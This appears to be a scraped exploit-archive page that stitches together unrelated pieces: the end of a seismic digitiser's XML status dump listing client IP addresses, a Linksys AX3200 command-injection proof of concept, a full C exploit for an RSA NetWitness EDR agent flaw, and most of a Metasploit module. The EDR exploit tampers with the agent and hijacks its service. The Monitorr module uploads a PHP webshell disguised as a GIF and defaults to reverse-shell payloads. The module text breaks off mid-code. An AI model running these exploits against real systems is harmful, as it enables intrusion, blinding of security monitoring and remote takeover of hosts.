type'>CMG-DAS</reading><br /><reading status='-1' display-primary='false' path='ttl'<br /> title='GCF tap table lookup'>0</reading><br /><reading status='-1' display-primary='false' path='pga'<br /> title='GCF variable gain'></reading><br /></list-item><br /><list-item status='-1' display-primary='true' path='B4418B8A' title='DONB.SOH.TM.X'><br /><reading status='-1' display-primary='true' path='sample_rate' units='Hz'<br /> title='Sample rate'>nan</reading><br /><reading status='-1' display-primary='true' path='gcf_name'<br /> title='GCF name'>DONB-X00</reading><br /><reading status='-1' display-primary='true' path='last_block'<br /> title='Last block timestamp'></reading><br /><reading status='-1' display-primary='false' path='digitiser_type'<br /> title='GCF digitiser type'>CMG-DAS</reading><br /><reading status='-1' display-primary='false' path='ttl'<br /> title='GCF tap table lookup'>0</reading><br /><reading status='-1' display-primary='false' path='pga'<br /> title='GCF variable gain'></reading><br /></list-item><br /><list-item status='-1' display-primary='true' path='AB7AFF68' title='DONB-XIB'><br /><reading status='-1' display-primary='true' path='sample_rate' units='Hz'<br /> title='Sample rate'>nan</reading><br /><reading status='-1' display-primary='true' path='gcf_name'<br /> title='GCF name'>DONB-XIB</reading><br /><reading status='-1' display-primary='true' path='last_block'<br /> title='Last block timestamp'></reading><br /><reading status='-1' display-primary='false' path='digitiser_type'<br /> title='GCF digitiser type'>CMG-DAS</reading><br /><reading status='-1' display-primary='false' path='ttl'<br /> title='GCF tap table lookup'>0</reading><br /><reading status='-1' display-primary='false' path='pga'<br /> title='GCF variable gain'></reading><br /></list-item><br /></list><br /></module><br /><module status='-1' display-primary='true' path='gdi2miniseed.default' title='Mini-SEED compressor. Default instance'><br /><reading status='100' display-primary='true' path='num_samples_in'<br /> title='Total number of data samples in'>6184483152</reading><br /><reading status='100' display-primary='true' path='last5_samples_in'<br /> title='Number of samples in last 5 minutes'>180000</reading><br /><reading status='100' display-primary='true' path='num_text_in'<br /> title='Total number of text samples in'>0</reading><br /><reading status='100' display-primary='true' path='last5_text_in'<br /> title='Number of text samples in last 5 minutes'>0</reading><br /><reading status='100' display-primary='true' path='num_ms_rec_out'<br /> title='Total number of Miniseed records out'>22682743</reading><br /><reading status='100' display-primary='true' path='last5_ms_rec_out'<br /> title='Number of Miniseed records out in last 5 minutes'>655</reading><br /></module><br /><module status='-1' display-primary='true' path='gps' title='GPS'><br /><reading status='100' display-primary='true' path='have_data'<br /> title='GPS data received'>true</reading><br /><reading status='100' display-primary='false' path='last_data'<br /> title='Last data received from GPS'>2022-06-14T11:26:53Z</reading><br /><reading status='100' display-primary='true' path='fix'<br /> title='Fix'>3D</reading><br /><reading status='100' display-primary='true' path='last_fix'<br /> title='Timestamp of last fix'>2022-06-14T11:26:53Z</reading><br /><reading status='-1' display-primary='true' path='latitude' units='°'<br /> title='Latitude'>13.909917</reading><br /><reading status='-1' display-primary='true' path='longitude' units='°'<br /> title='Longitude'>100.593734</reading><br /><reading status='-1' display-primary='true' path='elevation' units='m'<br /> title='Elevation'>3</reading><br /><reading status='100' display-primary='true' path='sv_count'<br /> title='Count of satellites in view'>26</reading><br /><reading status='100' display-primary='true' path='sv_used'<br /> title='Count of satellites used in fix'>12</reading><br /><reading status='-1' display-primary='true' path='sv_online'<br /> title='Timestamp of last nmea sentence'>2022-06-14T11:26:52Z</reading><br /><reading status='100' display-primary='true' path='rs232_detect'<br /> title='RS232 device detect'>true</reading><br /></module><br /><module status='-1' display-primary='true' path='ntp' title='NTP'><br /><reading status='-1' display-primary='false' path='mode'<br /> title='Timing mode'>direct_gps</reading><br /><reading status='-1' display-primary='true' path='mode_desc'<br /> title='Timing mode'>NTP is using a GPS reference source.</reading><br /><reading status='100' display-primary='true' path='locked'<br /> title='Clock locked'>true</reading><br /><reading status='100' display-primary='true' path='estimated_error' units='s'<br /> title='Estimated error'>0.000131</reading><br /><reading status='-1' display-primary='true' path='clock_source'<br /> title='Clock source'>GPS</reading><br /><reading status='-1' display-primary='false' path='peer'<br /> title='Peer'>127.127.28.1</reading><br /><reading status='-1' display-primary='false' path='peer_refid'<br /> title='Peer's reference ID'>GPS</reading><br /></module><br /><module status='-1' display-primary='true' path='seedlink-out.0' title='SEEDlink network server (instance 1)'><br /><reading status='-1' display-primary='true' path='num_records'<br /> title='Total number of records seen'>22682743</reading><br /><reading status='100' display-primary='true' path='last5_records'<br /> title='Number of records seen in last 5 minutes'>655</reading><br /><reading status='-1' display-primary='true' path='seq'<br /> title='Current sequence number'>3382931</reading><br /><reading status='100' display-primary='true' path='num_clients'<br /> title='Number of clients connected'>7</reading><br /><list status='-1' display-primary='true' path='clients' title='Clients'><br /><list-item status='-1' display-primary='true' path='2DF96A1C' title='Client #1700'><br /><reading status='-1' display-primary='true' path='remote_ip'<br /> title='Remote IP address'>123.160.221.22</reading><br /><reading status='-1' display-primary='true' path='remote_port'<br /> title='Remote TCP port'>21100</reading><br /><reading status='-1' display-primary='true' path='dialup'<br /> title='Dialup mode'>false</reading><br /><reading status='-1' display-primary='true' path='seqno'<br /> title='Last sequence no'>0</reading><br /></list-item><br /><list-item status='-1' display-primary='true' path='79C29121' title='Client #3412'><br /><reading status='-1' display-primary='true' path='remote_ip'<br /> title='Remote IP address'>113.53.234.98</reading><br /><reading status='-1' display-primary='true' path='remote_port'<br /> title='Remote TCP port'>33964</reading><br /><reading status='-1' display-primary='true' path='dialup'<br /> title='Dialup mode'>false</reading><br /><reading status='-1' display-primary='true' path='seqno'<br /> title='Last sequence no'>0</reading><br /></list-item><br /><list-item status='-1' display-primary='true' path='5060E6FF' title='Client #3581'><br /><reading status='-1' display-primary='true' path='remote_ip'<br /> title='Remote IP address'>203.114.125.67</reading><br /><reading status='-1' display-primary='true' path='remote_port'<br /> title='Remote TCP port'>48666</reading><br /><reading status='-1' display-primary='true' path='dialup'<br /> title='Dialup mode'>false</reading><br /><reading status='-1' display-primary='true' path='seqno'<br /> title='Last sequence no'>3221351</reading><br /></list-item><br /><list-item status='-1' display-primary='true' path='B1A1AB18' title='Client #3723'><br /><reading status='-1' display-primary='true' path='remote_ip'<br /> title='Remote IP address'>113.53.234.98</reading><br /><reading status='-1' display-primary='true' path='remote_port'<br /> title='Remote TCP port'>45158</reading><br /><reading status='-1' display-primary='true' path='dialup'<br /> title='Dialup mode'>false</reading><br /><reading status='-1' display-primary='true' path='seqno'<br /> title='Last sequence no'>3382931</reading><br /></list-item><br /><list-item status='-1' display-primary='true' path=' 91FC71C' title='Client #3720'><br /><reading status='-1' display-primary='true' path='remote_ip'<br /> title='Remote IP address'>221.128.101.50</reading><br /><reading status='-1' display-primary='true' path='remote_port'<br /> title='Remote TCP port'>55776</reading><br /><reading status='-1' display-primary='true' path='dialup'<br /> title='Dialup mode'>false</reading><br /><reading status='-1' display-primary='true' path='seqno'<br /> title='Last sequence no'>3382931</reading><br /></list-item><br /><list-item status='-1' display-primary='true' path='599CD113' title='Client #3721'><br /><reading status='-1' display-primary='true' path='remote_ip'<br /> title='Remote IP address'>118.175.2.50</reading><br /><reading status='-1' display-primary='true' path='remote_port'<br /> title='Remote TCP port'>60818</reading><br /><reading status='-1' display-primary='true' path='dialup'<br /> title='Dialup mode'>false</reading><br /><reading status='-1' display-primary='true' path='seqno'<br /> title='Last sequence no'>3382931</reading><br /></list-item><br /><list-item status='-1' display-primary='true' path='BAB80847' title='Client #3722'><br /><reading status='-1' display-primary='true' path='remote_ip'<br /> title='Remote IP address'>203.114.125.67</reading><br /><reading status='-1' display-primary='true' path='remote_port'<br /> title='Remote TCP port'>53984</reading><br /><reading status='-1' display-primary='true' path='dialup'<br /> title='Dialup mode'>false</reading><br /><reading status='-1' display-primary='true' path='seqno'<br /> title='Last sequence no'>3382931</reading><br /></list-item><br /></list><br /></module><br /><module status='-1' display-primary='true' path='storage' title='Storage'><br /><reading status='100' display-primary='true' path='state'<br /> title='State'>Inactive</reading><br /><reading status='100' display-primary='true' path='recording_state'<br /> title='Recording state'>Last flush good</reading><br /><reading status='-1' display-primary='true' path='last_accessed'<br /> title='Last accessed'>2022-06-14T08:10:14Z</reading><br /><reading status='-1' display-primary='true' path='free_space_pct'<br /> title='Free space'>27.2%</reading><br /><reading status='-1' display-primary='false' path='free_space' units='bytes'<br /> title='Available space'>17449811968</reading><br /><reading status='-1' display-primary='true' path='size' units='bytes'<br /> title='Storage size'>64134021120</reading><br /><reading status='100' display-primary='false' path='fs_type'<br /> title='Filesystem type'>VFAT</reading><br /><list status='-1' display-primary='false' path='clients' title='Clients'><br /></list><br /></module><br /><module status='-1' display-primary='true' path='system' title='Linux system'><br /><reading status='-1' display-primary='false' path='serial_number'<br /> title='Serial number'>DAS-405D62</reading><br /><reading status='-1' display-primary='true' path='uptime' units='s'<br /> title='System uptime'>10307538</reading><br /><reading status='-1' display-primary='true' path='load_average'<br /> title='Load Average'>1.72</reading><br /><reading status='100' display-primary='true' path='root_free_space' units='bytes'<br /> title='Root filesystem free space'>437809152</reading><br /><reading status='100' display-primary='true' path='root_percent_free_space'<br /> title='Root filesystem percentage space free'>77.0%</reading><br /><reading status='-1' display-primary='true' path='build_label'<br /> title='Software repository label'>&example;</reading><br /><reading status='-1' display-primary='true' path='build_version'<br /> title='Software build number'>15809</reading><br /><reading status='-1' display-primary='true' path='build_machine'<br /> title='Build machine'>CMG-DAS</reading><br /><reading status='-1' display-primary='true' path='last_reboot_1'<br /> title='Reboot 1'>2021-04-08T05:06:17Z</reading><br /><reading status='-1' display-primary='true' path='last_reboot_2'<br /> title='Reboot 2'>2021-04-08T07:02:50Z</reading><br /><reading status='-1' display-primary='true' path='last_reboot_3'<br /> title='Reboot 3'>2021-04-08T08:00:33Z</reading><br /><reading status='-1' display-primary='true' path='last_reboot_4'<br /> title='Reboot 4'>2021-04-08T08:30:41Z</reading><br /><reading status='-1' display-primary='true' path='last_reboot_5'<br /> title='Reboot 5'>2021-04-08T08:39:15Z</reading><br /><reading status='-1' display-primary='true' path='last_reboot_6'<br /> title='Reboot 6'>2021-04-08T08:46:24Z</reading><br /><reading status='-1' display-primary='true' path='last_reboot_7'<br /> title='Reboot 7'>2021-04-08T10:08:51Z</reading><br /><reading status='-1' display-primary='true' path='last_reboot_8'<br /> title='Reboot 8'>2021-04-09T07:10:41Z</reading><br /><reading status='-1' display-primary='true' path='last_reboot_9'<br /> title='Reboot 9'>2021-10-07T06:48:35Z</reading><br /><reading status='-1' display-primary='true' path='last_reboot_10'<br /> title='Reboot 10'>2022-02-15T04:14:30Z</reading><br /><reading status='100' display-primary='true' path='temperature' units='°C'<br /> title='System temperature'>43.875</reading><br /><reading status='100' display-primary='true' path='voltage' units='V'<br /> title='Power supply voltage'>12.75</reading><br /><reading status='100' display-primary='true' path='current' units='A'<br /> title='Power supply current'>0.442</reading><br /><reading status='100' display-primary='true' path='sensor_A_voltage' units='V'<br /> title='Sensor A voltage'>12.675</reading><br /><reading status='100' display-primary='true' path='sensor_A_current' units='A'<br /> title='Sensor A current'>0.289</reading><br /><reading status='100' display-primary='true' path='sensor_B_voltage' units='V'<br /> title='Sensor B voltage'>12.725</reading><br /><reading status='100' display-primary='true' path='sensor_B_current' units='A'<br /> title='Sensor B current'>0.002</reading><br /></module><br /></xml-status><br /><br />```<br /><br /></code></pre>
<pre><code># Exploit Title: Linksys AX3200 V1.1.00 - Command Injection<br /># Date: 2022-09-19<br /># Exploit Author: Ahmed Alroky<br /># Author: Linksys<br /># Version: 1.1.00<br /># Authentication Required: YES<br /># CVE : CVE-2022-38841<br /><br /># Tested on: Windows<br /><br /># Proof Of Concept:<br /><br />1 - login into AX3200 webui<br />2 - go to diagnostics page<br />3 - put "google.com|ls" to perform a traceroute<br />4 - you will get the file list and also you can try "example.com|id" to ensure that all commands executed as a root user<br /> <br /><br /></code></pre>
<pre><code>[+] Credits: John Page (aka hyp3rlinx) <br />[+] Website: hyp3rlinx.altervista.org<br />[+] Source: http://hyp3rlinx.altervista.org/advisories/RSA_NETWITNESS_EDR_AGENT_INCORRECT_ACCESS_CONTROL_CVE-2022-47529.txt<br />[+] twitter.com/hyp3rlinx<br />[+] ISR: ApparitionSec <br /> <br />[Vendor]<br />RSA Security<br />www.netwitness.com<br /><br /><br />[Product]<br />NetWitness Endpoint EDR Agent<br /><br />The RSA NetWitness detection and response (EDR) endpoint monitors activity across all your endpoints—on and off the network—providing deep visibility<br />into their security state, and it prioritizes alerts when there is an issue. NetWitness Endpoint drastically reduces dwell time by rapidly<br />detecting new and non-malware attacks that other EDR solutions miss, and it cuts the cost, time and scope of incident response.<br /><br /><br />[Vulnerability Type]<br />Incorrect Access Control / Code Execution<br /><br /><br />[CVE Reference]<br />CVE-2022-47529<br /><br /><br />[Security Issue]<br />CVE-2022-47529 allows local users to stop the Endpoint Windows agent from sending the events to SIEM or make the agent run user-supplied commands.<br /><br />Insecure Win32 memory objects in Endpoint Windows Agents in the NetWitness Platform through 12.x allow local<br />and admin Windows user accounts to modify the endpoint agent service configuration:<br />to either disable it completely or run user-supplied code or commands, thereby bypassing tamper-protection features via ACL modification.<br /><br />Interestingly, the agent was uploaded to virustotal on 2022-01-05 17:24:32 UTC months before finding and report.<br /><br />SHA-256 770005f9b2333bf713ec533ef1efd2b65083a5cfb9f8cbb805ccb2eba423cc3d<br />LANDeskService.exe<br /><br /><br />[Severity]<br />Critical<br /><br /><br />[Impact(s)]<br />Denial-of-Service <br />Arbitrary Code Execution<br /><br /><br />[Attack Vector]<br />To exploit, open handle to memory objects held by the endpoint agent, <br />modify the ACL for the ones that have insecure ACLs, and DENY access to Everyone group<br /><br /><br />[Affected Product Code Base]<br />All versions prior to v12.2<br /><br /><br />[Network Access]<br />Local<br /><br /><br />[References]<br />https://community.netwitness.com/t5/netwitness-platform-security/nw-2023-04-netwitness-platform-security-advisory-cve-2022-47529/ta-p/696935<br /><br /><br />[Vuln Code Block]:<br />00000001400F7B10 sub_1400F7B10 proc near ; CODE XREF: sub_14012F6F0+19B?p<br />.text:00000001400F7B10 ; sub_14013BA50+19?p<br />.text:00000001400F7B10 ; DATA XREF: ...<br />.text:00000001400F7B10 push rbx<br />.text:00000001400F7B12 sub rsp, 20h<br />.text:00000001400F7B16 mov rbx, rcx<br />.text:00000001400F7B19 test rcx, rcx<br />.text:00000001400F7B1C jz short loc_1400F7B5C<br />.text:00000001400F7B1E call cs:InitializeCriticalSection<br />.text:00000001400F7B24 lea rcx, [rbx+28h] ; lpCriticalSection<br />.text:00000001400F7B28 call cs:InitializeCriticalSection<br />.text:00000001400F7B2E mov edx, 1 ; bManualReset<br />.text:00000001400F7B33 xor r9d, r9d ; lpName<br />.text:00000001400F7B36 mov r8d, edx ; bInitialState<br />.text:00000001400F7B39 xor ecx, ecx ; lpEventAttributes<br />.text:00000001400F7B3B call cs:CreateEventW<br />.text:00000001400F7B41 mov [rbx+50h], rax<br />.text:00000001400F7B45 mov dword ptr [rbx+58h], 0<br />.text:00000001400F7B4C test rax, rax<br />.text:00000001400F7B4F jz short loc_1400F7B5C<br /><br /><br /><br />[Exploit/POC]<br />"RSA_NetWitness_Exploit.c"<br /><br />#include "windows.h"<br />#include "stdio.h"<br />#include "accctrl.h"<br />#include "aclapi.h"<br /><br />#define OPEN_ALL_ACCESS 0x1F0003<br /><br />/*<br />RSA NetWitness EDR Endpoint Agent<br />Tamper Protection Bypass / EoP Code Execution<br />RSA NetWitness.msi --> NWEAgent.exe<br />MD5: c0aa7e52cbf7799161bac9ebefa38d49<br /><br />Expected result: Low privileged standard users are prevented from interfering with and or modifying events for the RSA Endpoint Agent.<br />Actual result: RSA NetWitness Endpoint Agent is terminated by a low privileged standard non-administrator user.<br /><br />By John Page (hyp3rlinx) - Nov 2022 <br /><br />DISCLAIMER: The author of this code is not responsible or liable for any damages whatsoever from testing, modifying and or misuse.<br />Users of this supplied PoC code accept all risks, do no harm. <br /><br />X64 PE file vuln code block:<br /><br />00000001400F7B10 sub_1400F7B10 proc near ; CODE XREF: sub_14012F6F0+19B?p<br />.text:00000001400F7B10 ; sub_14013BA50+19?p<br />.text:00000001400F7B10 ; DATA XREF: ...<br />.text:00000001400F7B10 push rbx<br />.text:00000001400F7B12 sub rsp, 20h<br />.text:00000001400F7B16 mov rbx, rcx<br />.text:00000001400F7B19 test rcx, rcx<br />.text:00000001400F7B1C jz short loc_1400F7B5C<br />.text:00000001400F7B1E call cs:InitializeCriticalSection<br />.text:00000001400F7B24 lea rcx, [rbx+28h] ; lpCriticalSection<br />.text:00000001400F7B28 call cs:InitializeCriticalSection<br />.text:00000001400F7B2E mov edx, 1 ; bManualReset<br />.text:00000001400F7B33 xor r9d, r9d ; lpName<br />.text:00000001400F7B36 mov r8d, edx ; bInitialState<br />.text:00000001400F7B39 xor ecx, ecx ; lpEventAttributes<br />.text:00000001400F7B3B call cs:CreateEventW<br />.text:00000001400F7B41 mov [rbx+50h], rax<br />.text:00000001400F7B45 mov dword ptr [rbx+58h], 0<br />.text:00000001400F7B4C test rax, rax<br />.text:00000001400F7B4F jz short loc_1400F7B5C<br /><br /><br />1) Install "RSA NetWitness.msi" (Endpoint EDR Agent)<br /><br />2) Run Exploit PoC as a Standard non-admin user, the PoC will:<br /><br /> a) Open a handle (copy) to Ecat002 event.<br /> b) Open additional handles for events Ecat004 and Ecat002, modifying them to deny access to Everyone group.<br /> c) Set/Reset event the Ecat002 handle.<br /> d) if admin privs change the EDR service configuration<br /><br /> Non vulnerable agents will output "Not vulnerable to the console", customers can modify and use test to see if vuln.<br /><br />*/<br /><br />char Vuln_Events[][32] = {"Global\\Ecat004", "Global\\Ecat002"};<br />BOOL PWNED=FALSE;<br />void Exploit();<br />int AdminChl();<br />void HijackSvcConfig(); <br /> <br /><br />int main(void){<br /> printf("[+] RSA NetWitness EDR Agent 0Day\n");<br /> printf("[+] CVE-2022-47529\n");<br /> printf("[+] Discovery: John Page (aka hyp3rlinx)\n");<br /> printf("[+] ===================================\n");<br /> <br /> Exploit();<br /> <br /> if( AdminChk() ){<br /> printf("[+] Hijacked NetWitness Agent Service!\n");<br /> HijackSvcConfig();<br /> }<br /> <br /> Sleep(2000);<br /> printf("[+] Done!\n\n");<br /> system("pause");<br /> <br />return 0;<br />}<br /><br />void Exploit(){<br /> <br /> PACL pOldDACL = NULL;<br /> PACL pNewDACL = NULL;<br /> <br /> HANDLE hEvent_Ecat002 = OpenEventA(OPEN_ALL_ACCESS,FALSE,(LPCSTR)"Global\\Ecat002");<br /> int i=0;<br /> <br /> for(; i < sizeof(Vuln_Events) / sizeof(Vuln_Events[0]); i++){<br /><br /> HANDLE hEvent = OpenEventA(OPEN_ALL_ACCESS,FALSE,(LPCSTR)Vuln_Events[i]);<br /> <br /> if(hEvent != INVALID_HANDLE_VALUE){<br /><br /> printf("[-] Targeting Event: %s\n", Vuln_Events[i]);<br /> Sleep(500);<br /> <br /> if(GetSecurityInfo(hEvent, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &pOldDACL, NULL, NULL) == ERROR_SUCCESS){<br /> TRUSTEE trustee[1];<br /> trustee[0].TrusteeForm = TRUSTEE_IS_NAME;<br /> trustee[0].TrusteeType = TRUSTEE_IS_GROUP;<br /> trustee[0].ptstrName = TEXT("Everyone"); <br /> trustee[0].MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;<br /> trustee[0].pMultipleTrustee = NULL;<br /><br /> EXPLICIT_ACCESS explicit_access_list[1];<br /> ZeroMemory(&explicit_access_list[0], sizeof(EXPLICIT_ACCESS));<br /><br /> explicit_access_list[0].grfAccessMode = DENY_ACCESS; <br /> explicit_access_list[0].grfAccessPermissions = GENERIC_ALL;<br /> explicit_access_list[0].grfInheritance = NO_INHERITANCE;<br /> explicit_access_list[0].Trustee = trustee[0];<br /> <br /> if(SetEntriesInAcl(1, explicit_access_list, pOldDACL, &pNewDACL) != ERROR_SUCCESS){<br /> printf("%s%d", "[!] Not vulnerable! ", GetLastError());<br /> }<br /> <br /> if(SetSecurityInfo(hEvent, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL) != ERROR_SUCCESS){ <br /> printf("%s%d", "[!] Not vulnerable! ", GetLastError());<br /> }else{<br /> SetEvent(hEvent_Ecat002);<br /> Sleep(1000);<br /> ResetEvent(hEvent_Ecat002);<br /> CloseHandle(hEvent_Ecat002);<br /> SetEvent(hEvent);<br /> Sleep(1000);<br /> PWNED=TRUE;<br /> }<br /> if(PWNED){<br /> LocalFree(pNewDACL);<br /> LocalFree(pOldDACL);<br /> CloseHandle(hEvent);<br /> }<br /> Sleep(1000);<br /> }<br /> } <br />}<br />}<br /><br />//If run as admin, modify the agent service config to run our own code.<br />int AdminChk(){<br /> int result = 0;<br /> HANDLE hToken = NULL;<br /> if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY,&hToken)){<br /> TOKEN_ELEVATION elevated;<br /> DWORD tokSize = sizeof(TOKEN_ELEVATION);<br /> if(GetTokenInformation(hToken, TokenElevation, &elevated, sizeof(elevated), &tokSize)){<br /> result = elevated.TokenIsElevated;<br /> }<br /> }<br /> if(hToken){<br /> CloseHandle(hToken);<br /> }<br /> return result;<br />}<br /><br /><br />//Trivial example modify the service config...<br />void HijackSvcConfig(){<br /> Sleep(1000);<br /> WinExec("sc failure NWEAgent command= ""C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" "Evil-Command-Here""", 0);<br />}<br /><br /><br />[POC Video URL]<br />https://www.youtube.com/watch?v=kO1fu4IOlSs<br /><br /><br />[Disclosure Timeline]<br />Vendor Notification: December 2, 2022<br />CVE assigned: December 19, 2022 <br />Hotfix v12.1.0.1: January 3, 2023<br />Fixed in v12.2.0.0 January 4, 2023<br />Restested for vendor: January 6, 2023<br />March 24, 2023 : Public Disclosure<br /><br /><br />[+] Disclaimer<br />The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.<br />Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and<br />that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit<br />is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility<br />for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information<br />or exploits by the author or elsewhere. All content (c).<br /><br />hyp3rlinx<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::CmdStager<br /> include Msf::Exploit::FileDropper<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Monitorr unauthenticated Remote Code Execution (RCE)',<br /> 'Description' => %q{<br /> This module exploits an arbitrary file upload vulnerability and achieving an RCE in the Monitorr application.<br /> Using a specially crafted request, custom PHP code can be uploaded and injected through endpoint upload.php because of missing input validation.<br /> Any user privileges can exploit this vulnerability and it results in access to the underlying operating system with the same privileges<br /> under which the web services run (typically user www-data).<br /> Monitorr 1.7.6m, 1.7.7d and below are affected.<br /> },<br /> 'Author' => [<br /> 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module<br /> 'Lyhins Lab' # discovery<br /> ],<br /> 'References' => [<br /> [ 'CVE', '2020-28871' ],<br /> [ 'URL', 'https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/' ],<br /> [ 'URL', 'https://attackerkb.com/topics/UNlzoDVL3o/cve-2020-28871' ],<br /> [ 'EDB', '48980' ],<br /> [ 'PACKETSTORM', '163263' ],<br /> [ 'PACKETSTORM', '170974' ]<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'Platform' => [ 'unix', 'linux', 'win', 'php' ],<br /> 'Privileged' => false,<br /> 'Arch' => [ ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86 ],<br /> 'Targets' => [<br /> [<br /> 'PHP',<br /> {<br /> 'Platform' => 'php',<br /> 'Arch' => ARCH_PHP,<br /> 'Type' => :php,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'php/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ],<br /> [<br /> 'Unix Command',<br /> {<br /> 'Platform' => 'unix',<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :unix_cmd,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/unix/reverse_bash'<br /> }<br /> }<br /> ],<br /> [<br /> 'Linux Dropper',<br /> {<br /> 'Platform' => 'linux',<br /> 'Arch' => [ ARCH_X64, ARCH_X86 ],<br /> 'Type' => :linux_dropper,<br /> 'CmdStagerFlavor' => [ 'wget', 'curl', 'printf', 'bourne' ],<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ],<br /> [<br /> 'Windows Command',<br /> {<br /> 'Platform' => 'win',<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :windows_command,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ],<br /> [<br /> 'Windows EXE Dropper',<br /> {<br /> 'Platform' => 'win',<br /> 'Arch' => [ARCH_X86, ARCH_X64],<br /> 'Type' => :windows_dropper,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DisclosureDate' => '2020-11-16',<br /> 'DefaultOptions' => {<br /> 'SSL' => false,<br /> 'RPORT' => 80<br /> },<br /> 'Notes' => {<br /> 'Stability' => [ CRASH_SAFE ],<br /> 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],<br /> 'Reliability' => [ REPEATABLE_SESSION ]<br /> }<br /> )<br /> )<br /> register_options(<br /> [<br /> OptString.new('TARGETURI', [ true, 'The Monitorr endpoint URL', '/' ]),<br /> OptString.new('WEBSHELL', [<br /> false, 'The name of the webshell with extension to trick the parser like .phtml, .phar, etc. Webshell name will be randomly generated if left unset.', ''<br /> ]),<br /> OptEnum.new('COMMAND', [ true, 'Use PHP command function', 'passthru', [ 'passthru', 'shell_exec', 'system', 'exec' ]], conditions: %w[TARGET != 0])<br /> ]<br /> )<br /> end<br /><br /> def upload_php_code(payload)<br /> # Upload webshell hidden in a GIF with Metasploit payload code<br /> # randomize file name if option WEBSHELL is not set. Use lowercase characters because upload stores file name in lowercase<br /> if datastore['WEBSHELL'].blank?<br /> @webshell_name = "#{Rex::Text.rand_text_alpha_lower(8..16)}.php"<br /> else<br /> @webshell_name = datastore['WEBSHELL'].to_s.downcase<br /> end<br /><br /> # construct multipart form data<br /> form_data = Rex::MIME::Message.new<br /> form_data.add_part(payload.prepend("GIF89a#{rand_text_numeric(6..8)}"), 'image/gif', 'binary', "form-data; name=\"fileToUpload\"; filename=\"#{@webshell_name}\"")<br /><br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'assets', 'php', 'upload.php'),<br /> 'ctype' => "multipart/form-data; boundary=#{form_data.bound}",<br /> 'data' => form_data.to_s<br /> })<br /> return false unless res && res.code == 200 && !res.body.blank?<br /><br /> # parse HTML response to find the id with value 'uploadok' that indicates a successful upload<br /> html = res.get_html_document<br /> !!html.at('div[@id="uploadok"]')<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> payload = Base64.strict_encode64(cmd)<br /> php_cmd_function = Base64.strict_encode64(datastore['COMMAND'])<br /> send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'assets', 'data', 'usrimg', @webshell_name),<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'vars_get' => {<br /> @get_param => php_cmd_function<br /> },<br /> 'vars_post' => {<br /> @post_param => payload<br /> }<br /> })<br /> end<br /><br /> def execute_php(cmd, _opts = {})<br /> payload = Base64.strict_encode64(cmd)<br /> send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'assets', 'data', 'usrimg', @webshell_name),<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'vars_post' => {<br /> @post_param => payload<br /> }<br /> })<br /> end<br /><br /> def check<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'assets', 'js', 'version', 'version.txt'),<br /> 'ctype' => 'application/x-www-form-urlencoded'<br /> })<br /> if res && res.code == 200 && !res.body.blank?<br /> # version 0.8.6d is the first release where versioning using version.txt is introduced according the release notes.<br /> version = Rex::Version.new(res.body)<br /> return CheckCode::Vulnerable("Monitorr version: #{version}") if version.between?(Rex::Version.new('0.8.6'), Rex::Version.new('1.7.7'))<br /> end<br /> CheckCode::Unknown<br /> end<br /><br /> def exploit<br /> # select webshell depending on the target setting (PHP or others).<br /> # randomize and encode all parameters to obfuscate the payload and execution<br /> @post_param = Rex::Text.rand_text_alphanumeric(1..8)<br /> @get_param = Rex::Text.rand_text_alphanumeric(1..8)<br /><br /> if target['Type'] == :php<br /> @webshell = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>"<br /> else<br /> @webshell = "<?=base64_decode($_GET[\'#{@get_param}\'])(base64_decode($_POST[\'#{@post_param}\']));?>"<br /> end<br /><br /> print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")<br /> fail_with(Failure::NotVulnerable, "Webshell #{@webshell_name} upload failed, the system is likely patched.") unless upload_php_code(@webshell)<br /> register_file_for_cleanup(@webshell_name.to_s)<br /><br /> case target['Type']<br /> when 